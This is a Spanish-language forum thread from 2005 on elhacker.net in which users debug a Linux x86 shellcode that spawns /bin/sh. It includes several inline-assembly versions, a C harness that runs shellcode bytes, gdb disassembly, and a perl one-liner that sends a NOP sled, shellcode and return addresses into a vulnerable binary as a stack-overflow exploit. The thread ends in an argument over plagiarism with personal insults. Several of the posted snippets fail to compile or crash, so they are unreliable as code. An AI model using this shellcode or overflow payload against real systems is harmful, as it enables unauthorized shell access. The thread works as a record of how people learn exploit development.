Tema destacado: Entra al canal IRC oficial de #elhacker.net
Autor
|
Tema: Mis dudas en shellcoding (Leído 2,505 veces)
|
|
Rojodos
|
Es como perder la virginidad  De todas formas, las shellcodes siempre hay que probarlas antes: char shellcode[]= "OPCODES DE LA SHELLCODE";
int main() { void (*s)()= (void *)shellcode; s(); return 0; } Al compilar y ejecutar este codigo, se ejecuta tu shellcode, y asi puedes ver si funciona y tal  Salu2
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
ejeje, sí, la verdad que sí. Ahora bien, sigamos con la shellcode. EL código en ASM es el sigueinte. Yo no le encuentro ningún error y cuando ejecuto el programa en C me tira violación de segmento  #include <stdio.h>
int main() { __asm__( "jmp 0x1f\n" "popl %esi\n" "xorl %eax, %eax\n" "movb %al, 0x7(%esi)\n" "movl %esi, 0x8(%esi)\n" "movl %eax, 0xc(%esi)\n" "movb $0xb, %al\n" "movl %esi, %ebx\n" "leal 0x8(%esi), %ecx\n" "leal 0xc(%esi), %edx\n" "int $0x80\n" "xorl %eax, %eax\n" "xorl %ebx, %ebx\n" "inc %eax\n" "int $0x80\n" "call -0x24\n" ".string \"/bin/sh\""); return 0; } Saludos
|
|
|
|
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
|
|
|
|
heap
|
Porfavor al poner un code o algo ponganlo lo mas claro posible, nada de code embedido, y si tienen alguna pregunta o violacion de segmento suban el core (si ***** lo necesito, ya no puedo adivinar), asi me facilitan la vida..........ultima vez que me pongo a hacer eso de comentar, hace par de dias mis funciones de adivino no funcionan asi que hasta que no regresen no contestare a menos que entienda todo sin esfuerzo (its a priviledge not a right). jmp 0x1f ; al string aqui mete esi **creo popl %esi ;sacaa esi..... xorl %eax, %eax ; movb %al, 0x7(%esi) ; luego de /sh put 0 movl %esi, 0x8(%esi)\n" ; after /sh0 ponga la direccion movl %eax, 0xc(%esi)\n" ; luego de /sh0AAAA pon dir movb $0xb, %al\n" ; mover 11 a al, execve () movl %esi, %ebx\n" ; leal 0x8(%esi), %ecx" ; loads the address of AAAA leal 0xc(%esi), %edx" ; Loads adress after AAAA int $0x80\n" ; llama al kernel xorl %eax, %eax\n" ; eax 0 otra vez xorl %ebx, %ebx\n" ; ebx 0 otra vex inc %eax\n" ; inc eax int $0x80\n" ; llama al kernel para nada ERROR call -0x24\n" ; aca esta el jmp .string \"/bin/sh\"") ; el string 0 argumentos, la syntax me es rara REVIZAR !
Bueno comienza por esos errores, luego intenta volverla a correr, si te da seg fault, pasame el core !!!
|
|
|
|
« Última modificación: 11 Febrero 2005, 05:44 por heap »
|
En línea
|
|
|
|
|
Paisterist
|
te dejo la salida del gdb 0x08048354 <main+0>: push %ebp 0x08048355 <main+1>: mov %esp,%ebp 0x08048357 <main+3>: sub $0x8,%esp 0x0804835a <main+6>: and $0xfffffff0,%esp 0x0804835d <main+9>: mov $0x0,%eax 0x08048362 <main+14>: sub %eax,%esp 0x08048364 <main+16>: jmp 0x1f 0x08048369 <main+21>: pop %esi 0x0804836a <main+22>: xor %eax,%eax 0x0804836c <main+24>: mov %al,0x7(%esi) 0x0804836f <main+27>: mov %esi,0x8(%esi) 0x08048372 <main+30>: mov %eax,0xc(%esi) 0x08048375 <main+33>: mov $0xb,%al 0x08048377 <main+35>: mov %esi,%ebx 0x08048379 <main+37>: lea 0x8(%esi),%ecx 0x0804837c <main+40>: lea 0xc(%esi),%edx 0x0804837f <main+43>: int $0x80 0x08048381 <main+45>: xor %eax,%eax 0x08048383 <main+47>: xor %ebx,%ebx 0x08048385 <main+49>: inc %eax 0x08048386 <main+50>: int $0x80 0x08048388 <main+52>: call 0xffffffdc
Acerca de lo que dices que inútil, la segunda llamada al kernel, lo que hago es llamar a exit(0);
Saludos
|
|
|
|
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
|
|
|
|
heap
|
te dejo la salida del gdb 0x08048354 <main+0>: push %ebp 0x08048355 <main+1>: mov %esp,%ebp 0x08048357 <main+3>: sub $0x8,%esp 0x0804835a <main+6>: and $0xfffffff0,%esp 0x0804835d <main+9>: mov $0x0,%eax 0x08048362 <main+14>: sub %eax,%esp 0x08048364 <main+16>: jmp 0x1f 0x08048369 <main+21>: pop %esi 0x0804836a <main+22>: xor %eax,%eax 0x0804836c <main+24>: mov %al,0x7(%esi) 0x0804836f <main+27>: mov %esi,0x8(%esi) 0x08048372 <main+30>: mov %eax,0xc(%esi) 0x08048375 <main+33>: mov $0xb,%al 0x08048377 <main+35>: mov %esi,%ebx 0x08048379 <main+37>: lea 0x8(%esi),%ecx 0x0804837c <main+40>: lea 0xc(%esi),%edx 0x0804837f <main+43>: int $0x80 0x08048381 <main+45>: xor %eax,%eax 0x08048383 <main+47>: xor %ebx,%ebx 0x08048385 <main+49>: inc %eax 0x08048386 <main+50>: int $0x80 0x08048388 <main+52>: call 0xffffffdc
Acerca de lo que dices que inútil, la segunda llamada al kernel, lo que hago es llamar a exit(0);
Saludos
No llames a exit...intenta hacerlo asi..........y tambien mira si calculaste bien el jmp call 
|
|
|
|
|
En línea
|
|
|
|
|
Rojodos
|
Lo cual sobra, porque si la shellcode funciona, tendras la shell, con lo que no te hace falta el exit(0). Asi ahorras bytes. Shellcode de RaiSe verdad? 
|
|
|
|
|
En línea
|
|
|
|
|
Paisterist
|
Lo cual sobra, porque si la shellcode funciona, tendras la shell, con lo que no te hace falta el exit(0). Asi ahorras bytes. Shellcode de RaiSe verdad?  hajajajajja, así es. Ya saqué esa parte y creo que calculé bien el jmp y el call.. fíjense ustedes también, con la salida de gdb les alcanza. #include <stdio.h> int main() { __asm__( "jmp 0x1f\n" "popl %esi\n" "xorl %eax, %eax\n" "movb %al, 0x7(%esi)\n" "movl %esi, 0x8(%esi)\n" "movl %eax, 0xc(%esi)\n" "movb $0xb, %al\n" "movl %esi, %ebx\n" "leal 0x8(%esi), %ecx\n" "leal 0xc(%esi), %edx\n" "int $0x80\n" "call -0x24\n" ".string \"/bin/sh\""); return 0; } Saludos
|
|
|
|
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
|
|
|
|
heap
|
Ya instentaste volver a correrla ? Haz lo siguiente, saca los opcodes, y ponlos char shellcode[]= "OPCODES DE LA SHELLCODE"; int main() { void (*s)()= (void *)shellcode; s(); return 0; } Para asi testearla  , tambien si te da seg fault y ate dije que necesito el core.......esa salida de GDB no me sirve para nada
|
|
|
|
|
En línea
|
|
|
|
|
Rojodos
|
Prueba esta shellcode: __asm__(" jmp 0x1f popl %edi movl %edi,%ebx xorl %eax,%eax movb %al,0x7(%edi) movl %edi,0x8(%edi) movl %eax,0xc(%edi) leal 0x8(%edi),%ecx leal 0xc(%edi),%edx movb $0xb,%al int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 movl $0xbffffff0,%esp call -0x29 .string \"/bin/sh\" "); Salu2
|
|
|
|
|
En línea
|
|
|
|
|
|
|
Paisterist
|
rojodos, tu shellcode me tira el siguiente error: paisterist@box:~/shellcodes$ cc shell.c -o sh shell.c:4:9: falta carácter terminando " shell.c: En la función `main': shell.c:5: error: error de decodificación before "jmp" shell.c:22: error: stray '\' in program shell.c:22:10: falta carácter terminando " shell.c:23:1: falta carácter terminando " shell.c:25:2: aviso: no hay caractér de fin de línea al final del fichero
En cautno a lo que decís heap, la verdad me aprece que está bien loq eu decís, no tengo que andar calculando nada. Pero uta, el texto está en inghés... el nuevo code es este y me tira error al tratar de compilarlo:
paisterist@box:~/shellcodes$ cc shellcode.c -o sh /tmp/ccmBsZMa.s: Mensajes del ensamblador: /tmp/ccmBsZMa.s:13: Error: basura `string' después de la expresión paisterist@box:~/shellcodes$
#include <stdio.h>
int main() { __asm__( "jmp short string\n" "popl %esi\n" "xorl %eax, %eax\n" "movb %al, 0x7(%esi)\n" "movl %esi, 0x8(%esi)\n" "movl %eax, 0xc(%esi)\n" "movb $0xb, %al\n" "movl %esi, %ebx\n" "leal 0x8(%esi), %ecx\n" "leal 0xc(%esi), %edx\n" "int $0x80\n" ".string \"/bin/sh\"\n" "call -0x24"); return 0; }
|
|
|
|
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
|
|
|
|
heap
|
No mames, acabo de ver el post de neo security team. http://200.58.112.84/~moneos/foros/viewtopic.php?t=505Todo eso que dices ahi lo hice yo, asi que no mames, de hecho yo escribi esa shellcode, para un congreso en bolivia www.cih2k5.org al que asistire a dar una ponencia sobre stack overflows http://www.cih2k5.org/ponentes.htm#freakzoidNo aprecio ni un poquito esto, y es en parte la razon por la que no me gusta ayudar a ciertas personas. Todo esto que te explique y todo, lo consegui leyendo mucho, y practicando y tambien principalmente debido a dex, a quien simpre mencionare por todo lo que me ayudo.........ahora bien que hayas copiado todo lo que hice al pie de la letra no te hace hax0r..ni explotaste nada...todo lo hice yo, tu solo lo copiaste.....pero bueno anda.....ya no seguire posteando mas por gente como tu, no se porque me acuerdo de flux sus codigos de php y megabyte..........bueno suerte..........y no te seguire dando material para ROBAR !!! Tenemos 1040 bytes que ocupar. La shellcode que usaremos ocupa 65 bytes, y necesitaremos 8 bytes para sobreescribir EBP y EIP (4 bytes cada uno). 1040 - 65 - 8 = 967 AHh se me olvidaba mi peque~o lamer, antes de rippear, aprende, el shellcode es de 53 bytes, yo use 311 NOPS + 171 (4) + 53 = 1048 asi que tu txt esta mal... Ademas haces tus calculos y porque no los utilizas ? porque no los utilizas ? jaja LOL aprende a copiar estas peor que hackzatan que no lee el codigo..... paisterist@box:~/shellcodes$ ./vuln `perl -e 'print "\x90"x"311"; print "\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89 \x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff \xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41"; print "\x80\xf2\xff\xbf"x"200";'`
|
|
|
|
« Última modificación: 11 Febrero 2005, 07:00 por heap »
|
En línea
|
|
|
|
|
Paisterist
|
heap, no quiero que este post se convierta en un bombardeo de puteadas. En ningún momento digo uqe la shellcode sea mía, es más, puse que era por ti recién. El texto se basa más que nada (la teoría) en el paper de Explotando stack overflows en Unix x86 de www.danitrous.org Vos me ayudaste bastante man, me explicaste las dudas y otras cosas más, pero no por eso me voy a privar de escribir un texto acerca de lo que aprendí. REconozco que aprendí mucho de lo que me explicaste, pero no te estoy robando nada man. Me imagino que no piensas que copie lo tuyo y cambié el prompt por paisterist@box$ man, esas pruebas las hice en mi knoppix. Ya les agradecí a los dos, acaso tengo que hacerte un monumento por ayudarte??? Saludos En cuantos a los calculos, cambié la shellcode a último momento y no volví a aclarar que era de 53 bytes man, y la verdad no sé quién sos para decirme lammer, sólo porque puse tu shellcode y encima aclaré que es tuya  Y NO ME DIGAS LAMMER SI NO ME CONOCÉS, NO TE COPIÉ NADA.
|
|
|
|
« Última modificación: 12 Febrero 2005, 04:36 por Paisterist »
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
|
|
|
|
Paisterist
|
Volviendo al tema, Rojodos, la shellcode uqe pusiste no me funciona, ya pastee los errores...
Saludos
|
|
|
|
|
En línea
|
 Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
|
|
|
|
|